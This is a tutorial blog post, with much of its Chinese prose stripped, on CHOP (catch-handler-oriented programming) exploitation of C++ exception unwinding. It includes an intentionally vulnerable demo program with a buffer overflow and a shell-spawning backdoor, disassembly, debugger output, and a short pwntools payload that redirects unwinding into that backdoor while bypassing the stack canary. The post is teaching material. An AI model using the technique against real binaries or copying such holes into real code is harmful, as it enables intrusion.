┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
CHOP Suey: 
~ CuB3y0nd
# 

 2024  [logger](/posts/write-ups/2024-/#logger)
 C++ 
 ROP  `CHOP (Catch Handler Oriented Pr
ogramming)` `EOP (Exception Oriented Programming)` 
沿


~_PS: bushi_~

:::important
 Linux  C++ 
 catch  C++ 


 unwind 
 unwind ~_/_~
:::

## 

### C++ 

 C++  try catch 


 C++  try catc
h ~_ C++/_~

使 `try` 
 `throw`  throw 
 `catch`catch 
 catch  throw 
 catch  handler 
 catch 


### C++ 

 `throw` 

-  `catch`
  -  catch handler
 catch handler
 Stack Unwindding  han
dler `std::terminate()`使 abort 
-  `catch handler`
  -  handler catch 
- 
  - 

:::tip
 throw  unwind catch handler 
 handler  gadget 
 ROP 

:::

## 

:::important
使 `g++-9`  `___cxa_allocate_exception` 
 canary使 `Ubuntu 20.04 (gcc-9 series)
` 
:::

```cpp title="vuln.cpp"
// g++-9 -Wall vuln.cpp -o vuln -no-pie -fPIC

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

class foo {
public:
  char buf[0x10];

  foo() { printf("foo::foo() calledn"); }
  ~foo() { printf("foo::~foo() calledn"); }
};

void input();
void backdoor();

int main() {
  try {
    input();
    throw 1;
  } catch (int x) {
    printf("Int: %dn", x);
  } catch (const char *s) {
    printf("String: %sn", s);
  }

  printf("main() returnn");
  return 0;
}

void input() {
  foo tmp;

  printf("Enter your input: ");
  fflush(stdout);

  int size = 0x100;
  size_t len = read(0, tmp.buf, size);

  if (len > 0x10) {
    throw "Buffer overflow detected!";
  }

  printf("input() returnn");
}

void backdoor() {
  try {
    printf("We have never called this backdoor!n");
  } catch (const char *s) {
    printf("Backdoor has catched the exception: %sn", s);
    system("/bin/sh");
  }
}
```



1.  `input` 
2. `throw -> ___cxa_begin_catch 
-> executing handler -> ___cxa_end_catch -> resume after catch in input() -> des
tructor -> check canary -> ...`
3.  cactch`throw -> cl
eanup -> destructor -> __Unwind_Resume ->  cat
ch  __Unwind_Resume  catch
 handler (___cxa_begin_catch -> executing handler -> ___cxa_end_catch)
 catch 
 std::terminate() abort`

 input  catch  input 

```cpp
void input() {
  foo tmp;

  printf("Enter your input: ");
  fflush(stdout);

  try {
    int size = 0x100;
    size_t len = read(0, tmp.buf, size);

    if (len > 0x10) {
      throw "Buffer overflow detected!";
    }
  } catch (const char *s) {
    printf("Caught in input(): %sn", s);
  }

  printf("input() returnn");
}
```

 2  3  2
input  catch handler

```asm showLineNumbers=false
.text:00000000004013CE ;   try {
.text:00000000004013CE                 call    _read
.text:00000000004013D3                 mov     [rbp+var_40], rax
.text:00000000004013D7                 cmp     [rbp+var_40], 10h
.text:00000000004013DC                 jbe     short loc_401409
.text:00000000004013DE                 mov     edi, 8          ; thrown_size
.text:00000000004013E3                 call    ___cxa_allocate_exception
.text:00000000004013E8                 lea     rdx, aBufferOverflow ; "Buffer ov
erflow detected!"
.text:00000000004013EF                 mov     [rax], rdx
.text:00000000004013F2                 mov     edx, 0          ; void (*)(void *
)
.text:00000000004013F7                 mov     rcx, cs:_ZTIPKc_ptr
.text:00000000004013FE                 mov     rsi, rcx        ; lptinfo
.text:0000000000401401                 mov     rdi, rax        ; exception
.text:0000000000401404                 call    ___cxa_throw
.text:0000000000401404 ;   } // starts at 4013CE
.text:0000000000401409 ; -------------------------------------------------------
--------------------
.text:0000000000401409
.text:0000000000401409 loc_401409:                             ; CODE XREF: inpu
t(void)+72↑j
.text:0000000000401409                                         ; input(void)+101
↓j
.text:0000000000401409                 lea     rdi, aInputReturn ; "input() retu
rn"
.text:0000000000401410 ;   try {
.text:0000000000401410                 call    _puts
.text:0000000000401410 ;   } // starts at 401410
.text:0000000000401415                 lea     rax, [rbp+buf]
.text:0000000000401419                 mov     rdi, rax        ; this
.text:000000000040141C                 call    _ZN3fooD1Ev     ; foo::~foo()
.text:0000000000401421                 nop
.text:0000000000401422                 mov     rax, [rbp+var_18]
.text:0000000000401426                 xor     rax, fs:28h
.text:000000000040142F                 jz      short loc_40149E
.text:0000000000401431                 jmp     short loc_401499
.text:0000000000401433 ; -------------------------------------------------------
--------------------
.text:0000000000401433 ;   catch(char const*) // owned by 4013CE
.text:0000000000401433                 endbr64
.text:0000000000401437                 cmp     rdx, 1
.text:000000000040143B                 jz      short loc_401442
.text:000000000040143D                 mov     rbx, rax
.text:0000000000401440                 jmp     short loc_401482
.text:0000000000401442 ; -------------------------------------------------------
--------------------
.text:0000000000401442
.text:0000000000401442 loc_401442:                             ; CODE XREF: inpu
t(void)+D1↑j
.text:0000000000401442                 mov     rdi, rax        ; void *
.text:0000000000401445                 call    ___cxa_begin_catch
.text:000000000040144A                 mov     [rbp+var_38], rax
.text:000000000040144E                 mov     rax, [rbp+var_38]
.text:0000000000401452                 mov     rsi, rax
.text:0000000000401455                 lea     rdi, aCaughtInInputS ; "Caught in
 input(): %sn"
.text:000000000040145C                 mov     eax, 0
.text:0000000000401461 ;   try {
.text:0000000000401461                 call    _printf
.text:0000000000401461 ;   } // starts at 401461
.text:0000000000401466                 call    ___cxa_end_catch
.text:000000000040146B                 jmp     short loc_401409
.text:000000000040146D ; -------------------------------------------------------
--------------------
.text:000000000040146D ;   cleanup() // owned by 401461
.text:000000000040146D                 endbr64
.text:0000000000401471                 mov     rbx, rax
.text:0000000000401474                 call    ___cxa_end_catch
.text:0000000000401479                 jmp     short loc_401482
.text:000000000040147B ; -------------------------------------------------------
--------------------
.text:000000000040147B ;   cleanup() // owned by 40139E
.text:000000000040147B ;   cleanup() // owned by 401410
.text:000000000040147B                 endbr64
.text:000000000040147F                 mov     rbx, rax
.text:0000000000401482
.text:0000000000401482 loc_401482:                             ; CODE XREF: inpu
t(void)+D6↑j
.text:0000000000401482                                         ; input(void)+10F
↑j
.text:0000000000401482                 lea     rax, [rbp+buf]
.text:0000000000401486                 mov     rdi, rax        ; this
.text:0000000000401489                 call    _ZN3fooD1Ev     ; foo::~foo()
.text:000000000040148E                 mov     rax, rbx
.text:0000000000401491                 mov     rdi, rax        ; struct _Unwind_
Exception *
.text:0000000000401494                 call    __Unwind_Resume
.text:0000000000401499 ; -------------------------------------------------------
--------------------
.text:0000000000401499
.text:0000000000401499 loc_401499:                             ; CODE XREF: inpu
t(void)+C7↑j
.text:0000000000401499                 call    ___stack_chk_fail
.text:000000000040149E ; -------------------------------------------------------
--------------------
.text:000000000040149E
.text:000000000040149E loc_40149E:                             ; CODE XREF: inpu
t(void)+C5↑j
.text:000000000040149E                 add     rsp, 48h
.text:00000000004014A2                 pop     rbx
.text:00000000004014A3                 pop     rbp
.text:00000000004014A4                 retn
.text:00000000004014A4 ; } // starts at 40136A
.text:00000000004014A4 _Z5inputv       endp
```

 3input  catch handler

```asm showLineNumbers=false
.text:000000000040139E ;   try {
.text:000000000040139E                 call    _printf
.text:00000000004013A3                 mov     rax, cs:stdout_ptr
.text:00000000004013AA                 mov     rax, [rax]
.text:00000000004013AD                 mov     rdi, rax        ; stream
.text:00000000004013B0                 call    _fflush
.text:00000000004013B5                 mov     [rbp+var_3C], 100h
.text:00000000004013BC                 mov     eax, [rbp+var_3C]
.text:00000000004013BF                 movsxd  rdx, eax        ; nbytes
.text:00000000004013C2                 lea     rax, [rbp+buf]
.text:00000000004013C6                 mov     rsi, rax        ; buf
.text:00000000004013C9                 mov     edi, 0          ; fd
.text:00000000004013CE                 call    _read
.text:00000000004013D3                 mov     [rbp+var_38], rax
.text:00000000004013D7                 cmp     [rbp+var_38], 10h
.text:00000000004013DC                 jbe     short loc_401409
.text:00000000004013DE                 mov     edi, 8          ; thrown_size
.text:00000000004013E3                 call    ___cxa_allocate_exception
.text:00000000004013E8                 lea     rdx, aBufferOverflow ; "Buffer ov
erflow detected!"
.text:00000000004013EF                 mov     [rax], rdx
.text:00000000004013F2                 mov     edx, 0          ; void (*)(void *
)
.text:00000000004013F7                 mov     rcx, cs:_ZTIPKc_ptr
.text:00000000004013FE                 mov     rsi, rcx        ; lptinfo
.text:0000000000401401                 mov     rdi, rax        ; exception
.text:0000000000401404                 call    ___cxa_throw
.text:0000000000401409 ; -------------------------------------------------------
--------------------
.text:0000000000401409
.text:0000000000401409 loc_401409:                             ; CODE XREF: inpu
t(void)+72↑j
.text:0000000000401409                 lea     rdi, aInputReturn ; "input() retu
rn"
.text:0000000000401410                 call    _puts
.text:0000000000401410 ;   } // starts at 40139E
.text:0000000000401415                 lea     rax, [rbp+buf]
.text:0000000000401419                 mov     rdi, rax        ; this
.text:000000000040141C                 call    _ZN3fooD1Ev     ; foo::~foo()
.text:0000000000401421                 nop
.text:0000000000401422                 mov     rax, [rbp+var_18]
.text:0000000000401426                 xor     rax, fs:28h
.text:000000000040142F                 jz      short loc_401456
.text:0000000000401431                 jmp     short loc_401451
.text:0000000000401433 ; -------------------------------------------------------
--------------------
.text:0000000000401433 ;   cleanup() // owned by 40139E
.text:0000000000401433                 endbr64
.text:0000000000401437                 mov     rbx, rax
.text:000000000040143A                 lea     rax, [rbp+buf]
.text:000000000040143E                 mov     rdi, rax        ; this
.text:0000000000401441                 call    _ZN3fooD1Ev     ; foo::~foo()
.text:0000000000401446                 mov     rax, rbx
.text:0000000000401449                 mov     rdi, rax        ; struct _Unwind_
Exception *
.text:000000000040144C                 call    __Unwind_Resume
.text:0000000000401451 ; -------------------------------------------------------
--------------------
.text:0000000000401451
.text:0000000000401451 loc_401451:                             ; CODE XREF: inpu
t(void)+C7↑j
.text:0000000000401451                 call    ___stack_chk_fail
.text:0000000000401456 ; -------------------------------------------------------
--------------------
.text:0000000000401456
.text:0000000000401456 loc_401456:                             ; CODE XREF: inpu
t(void)+C5↑j
.text:0000000000401456                 add     rsp, 38h
.text:000000000040145A                 pop     rbx
.text:000000000040145B                 pop     rbp
.text:000000000040145C                 retn
.text:000000000040145C ; } // starts at 40136A
.text:000000000040145C _Z5inputv       endp
```

 `main` main  catch 


```asm showLineNumbers=false
.text:0000000000401276 ; =============== S U B R O U T I N E ===================
====================
.text:0000000000401276
.text:0000000000401276 ; Attributes: bp-based frame
.text:0000000000401276
.text:0000000000401276 ; int __fastcall main(int argc, const char **argv, const 
char **envp)
.text:0000000000401276                 public main
.text:0000000000401276 main            proc near               ; DATA XREF: _sta
rt+18↑o
.text:0000000000401276
.text:0000000000401276 var_1C          = dword ptr -1Ch
.text:0000000000401276 var_18          = qword ptr -18h
.text:0000000000401276
.text:0000000000401276 ; __unwind { // __gxx_personality_v0
.text:0000000000401276                 endbr64
.text:000000000040127A                 push    rbp
.text:000000000040127B                 mov     rbp, rsp
.text:000000000040127E                 push    rbx
.text:000000000040127F                 sub     rsp, 18h
.text:0000000000401283 ;   try {
.text:0000000000401283                 call    _Z5inputv       ; input(void)
.text:0000000000401288                 mov     edi, 4          ; thrown_size
.text:000000000040128D                 call    ___cxa_allocate_exception
.text:0000000000401292                 mov     dword ptr [rax], 1
.text:0000000000401298                 mov     edx, 0          ; void (*)(void *
)
.text:000000000040129D                 mov     rcx, cs:lptinfo
.text:00000000004012A4                 mov     rsi, rcx        ; lptinfo
.text:00000000004012A7                 mov     rdi, rax        ; exception
.text:00000000004012AA                 call    ___cxa_throw
.text:00000000004012AA ;   } // starts at 401283
.text:00000000004012AF ; -------------------------------------------------------
--------------------
.text:00000000004012AF
.text:00000000004012AF loc_4012AF:                             ; CODE XREF: main
+8F↓j
.text:00000000004012AF                                         ; main+BA↓j
.text:00000000004012AF                 lea     rdi, s          ; "main() return"
.text:00000000004012B6                 call    _puts
.text:00000000004012BB                 mov     eax, 0
.text:00000000004012C0                 jmp     loc_401363
.text:00000000004012C5 ; -------------------------------------------------------
--------------------
.text:00000000004012C5 ;   catch(int) // owned by 401283
.text:00000000004012C5 ;   catch(char const*) // owned by 401283
.text:00000000004012C5                 endbr64
.text:00000000004012C9                 cmp     rdx, 1
.text:00000000004012CD                 jz      short loc_4012DD
.text:00000000004012CF                 cmp     rdx, 2
.text:00000000004012D3                 jz      short loc_401307
.text:00000000004012D5                 mov     rdi, rax        ; struct _Unwind_
Exception *
.text:00000000004012D8                 call    __Unwind_Resume
.text:00000000004012DD ; -------------------------------------------------------
--------------------
.text:00000000004012DD
.text:00000000004012DD loc_4012DD:                             ; CODE XREF: main
+57↑j
.text:00000000004012DD                 mov     rdi, rax        ; void *
.text:00000000004012E0                 call    ___cxa_begin_catch
.text:00000000004012E5                 mov     eax, [rax]
.text:00000000004012E7                 mov     [rbp+var_1C], eax
.text:00000000004012EA                 mov     eax, [rbp+var_1C]
.text:00000000004012ED                 mov     esi, eax
.text:00000000004012EF                 lea     rdi, format     ; "Int: %dn"
.text:00000000004012F6                 mov     eax, 0
.text:00000000004012FB ;   try {
.text:00000000004012FB                 call    _printf
.text:00000000004012FB ;   } // starts at 4012FB
.text:0000000000401300                 call    ___cxa_end_catch
.text:0000000000401305                 jmp     short loc_4012AF
.text:0000000000401307 ; -------------------------------------------------------
--------------------
.text:0000000000401307
.text:0000000000401307 loc_401307:                             ; CODE XREF: main
+5D↑j
.text:0000000000401307                 mov     rdi, rax        ; void *
.text:000000000040130A                 call    ___cxa_begin_catch
.text:000000000040130F                 mov     [rbp+var_18], rax
.text:0000000000401313                 mov     rax, [rbp+var_18]
.text:0000000000401317                 mov     rsi, rax
.text:000000000040131A                 lea     rdi, aStringS   ; "String: %sn"
.text:0000000000401321                 mov     eax, 0
.text:0000000000401326 ;   try {
.text:0000000000401326                 call    _printf
.text:0000000000401326 ;   } // starts at 401326
.text:000000000040132B                 call    ___cxa_end_catch
.text:0000000000401330                 jmp     loc_4012AF
.text:0000000000401335 ; -------------------------------------------------------
--------------------
.text:0000000000401335 ;   cleanup() // owned by 4012FB
.text:0000000000401335                 endbr64
.text:0000000000401339                 mov     rbx, rax
.text:000000000040133C                 call    ___cxa_end_catch
.text:0000000000401341                 mov     rax, rbx
.text:0000000000401344                 mov     rdi, rax        ; struct _Unwind_
Exception *
.text:0000000000401347                 call    __Unwind_Resume
.text:000000000040134C ; -------------------------------------------------------
--------------------
.text:000000000040134C ;   cleanup() // owned by 401326
.text:000000000040134C                 endbr64
.text:0000000000401350                 mov     rbx, rax
.text:0000000000401353                 call    ___cxa_end_catch
.text:0000000000401358                 mov     rax, rbx
.text:000000000040135B                 mov     rdi, rax        ; struct _Unwind_
Exception *
.text:000000000040135E                 call    __Unwind_Resume
.text:0000000000401363 ; -------------------------------------------------------
--------------------
.text:0000000000401363
.text:0000000000401363 loc_401363:                             ; CODE XREF: main
+4A↑j
.text:0000000000401363                 add     rsp, 18h
.text:0000000000401367                 pop     rbx
.text:0000000000401368                 pop     rbp
.text:0000000000401369                 retn
.text:0000000000401369 ; } // starts at 401276
.text:0000000000401369 main            endp
```


 unwind catch handler 

……

:::important
 canary 
 throw  canary 
 canary  catch handler 
:::

 handler 

 handler  `r
bp` 

 `rbp` `_Unwind_Resume`  `rbp`  `0x7ffe29f72c50 
<- 0x4242424242424242 ('BBBBBBBB')`
 `_Unwind_Resume`  `rbp`  `B`

 `rbp - 0x18` 

 rbp 西 
`Buffer overflow detected!`  printf

```asm showLineNumbers=false {2-3}
pwndbg> x/10i $rip
=> 0x40130f <main+153>: mov    QWORD PTR [rbp-0x18],rax
   0x401313 <main+157>: mov    rax,QWORD PTR [rbp-0x18]
   0x401317 <main+161>: mov    rsi,rax
   0x40131a <main+164>: lea    rdi,[rip+0xd23]        # 0x402044
   0x401321 <main+171>: mov    eax,0x0
   0x401326 <main+176>: call   0x4010e0 <printf@plt>
   0x40132b <main+181>: call   0x401160 <__cxa_end_catch@plt>
   0x401330 <main+186>: jmp    0x4012af <main+57>
   0x401335 <main+191>: endbr64
   0x401339 <main+195>: mov    rbx,rax
pwndbg> x/s 0x402044
0x402044: "String: %sn"
pwndbg> x/s $rax
0x402063: "Buffer overflow detected!"
```

 rbp  rw  PIE bss 


访 abort `rax` `rax` 
…… bss 
 `std::terminate()` `terminate called after throwing a
n instance of 'char const*'`  abort 

 handler
 std::terminate()使 abort 
 catch  `_Unwind_RaiseException`  catc
h handler  catch 
 main  throw 
 main  catch handler


```plaintext showLineNumbers=false
[DEBUG] Received 0x67 bytes:
    b'foo::foo() calledn'
    b'Enter your input: foo::~foo() calledn'
    b'String: Buffer overflow detected!n'
    b'main() returnn'
```



 `system("/bin/sh")`  catch 

```asm {18-23} del={31-44} showLineNumbers=false
.text:000000000040145D ; =============== S U B R O U T I N E ===================
====================
.text:000000000040145D
.text:000000000040145D ; Attributes: bp-based frame
.text:000000000040145D
.text:000000000040145D ; int __fastcall backdoor()
.text:000000000040145D                 public _Z8backdoorv
.text:000000000040145D _Z8backdoorv    proc near
.text:000000000040145D
.text:000000000040145D var_18          = qword ptr -18h
.text:000000000040145D
.text:000000000040145D ; __unwind { // __gxx_personality_v0
.text:000000000040145D                 endbr64
.text:0000000000401461                 push    rbp
.text:0000000000401462                 mov     rbp, rsp
.text:0000000000401465                 push    rbx
.text:0000000000401466                 sub     rsp, 18h
.text:000000000040146A                 lea     rdi, aWeHaveNeverCal ; "We have n
ever called this backdoor!"
.text:0000000000401471 ;   try {
.text:0000000000401471                 call    _puts
.text:0000000000401471 ;   } // starts at 401471
.text:0000000000401476                 jmp     short loc_4014D8
.text:0000000000401478 ; -------------------------------------------------------
--------------------
.text:0000000000401478 ;   catch(char const*) // owned by 401471
.text:0000000000401478                 endbr64
.text:000000000040147C                 cmp     rdx, 1
.text:0000000000401480                 jz      short loc_40148A
.text:0000000000401482                 mov     rdi, rax        ; struct _Unwind_
Exception *
.text:0000000000401485                 call    __Unwind_Resume
.text:000000000040148A ; -------------------------------------------------------
--------------------
.text:000000000040148A
.text:000000000040148A loc_40148A:                             ; CODE XREF: back
door(void)+23↑j
.text:000000000040148A                 mov     rdi, rax        ; void *
.text:000000000040148D                 call    ___cxa_begin_catch
.text:0000000000401492                 mov     [rbp+var_18], rax
.text:0000000000401496                 mov     rax, [rbp+var_18]
.text:000000000040149A                 mov     rsi, rax
.text:000000000040149D                 lea     rdi, aBackdoorHasCat ; "Backdoor 
has catched the exception: %s"...
.text:00000000004014A4                 mov     eax, 0
.text:00000000004014A9 ;   try {
.text:00000000004014A9                 call    _printf
.text:00000000004014AE                 lea     rdi, command    ; "/bin/sh"
.text:00000000004014B5                 call    _system
.text:00000000004014B5 ;   } // starts at 4014A9
.text:00000000004014BA                 call    ___cxa_end_catch
.text:00000000004014BF                 jmp     short loc_4014D8
.text:00000000004014C1 ; -------------------------------------------------------
--------------------
.text:00000000004014C1 ;   cleanup() // owned by 4014A9
.text:00000000004014C1                 endbr64
.text:00000000004014C5                 mov     rbx, rax
.text:00000000004014C8                 call    ___cxa_end_catch
.text:00000000004014CD                 mov     rax, rbx
.text:00000000004014D0                 mov     rdi, rax        ; struct _Unwind_
Exception *
.text:00000000004014D3                 call    __Unwind_Resume
.text:00000000004014D8 ; -------------------------------------------------------
--------------------
.text:00000000004014D8
.text:00000000004014D8 loc_4014D8:                             ; CODE XREF: back
door(void)+19↑j
.text:00000000004014D8                                         ; backdoor(void)+
62↑j
.text:00000000004014D8                 add     rsp, 18h
.text:00000000004014DC                 pop     rbx
.text:00000000004014DD                 pop     rbp
.text:00000000004014DE                 retn
.text:00000000004014DE ; } // starts at 40145D
.text:00000000004014DE _Z8backdoorv    endp
```

 catch  `catch(char const*)` throw 
 catch handler 

 catch  try  `0x401471 + 0x1` 
 get shell  try 


 payload 

```python
payload = flat(
    b"A" * 0x30,
    elf.bss(),
    0x401471 + 0x1,
)
target.send(payload)
```

 canary catch handler 
 g++  canary  `___cxa_allocate_exception` 
 Ubuntu 20.04 LTS 使


 catch handler 
 2024  [logger](/posts/write-ups/2024-/#logger) 

 CHOP 
 `std::terminate()`  CHOP ~_but 
/_~

## 

TODO

# References

- [-](https://rivers.chaitin.cn/blog/cq70jnq
p1rhtmlvvdmng)
- [-](https://rivers.chaitin.cn/blog/cq70jnqp1rh
tmlvvdpng)
- [ C++ PWN ——](https://zhuanlan.zhihu.com/p/131
57062538)
- [Let Me Unwind That For You: Exceptions to Backward-Edge Protection](https://w
ww.ndss-symposium.org/wp-content/uploads/2023/02/ndss2023_s295_paper.pdf)
- [NDSS 2023 - Let Me Unwind That For You: Exceptions to Backward-Edge Protectio
n](https://www.youtube.com/watch?v=S6dh83ZNTqY)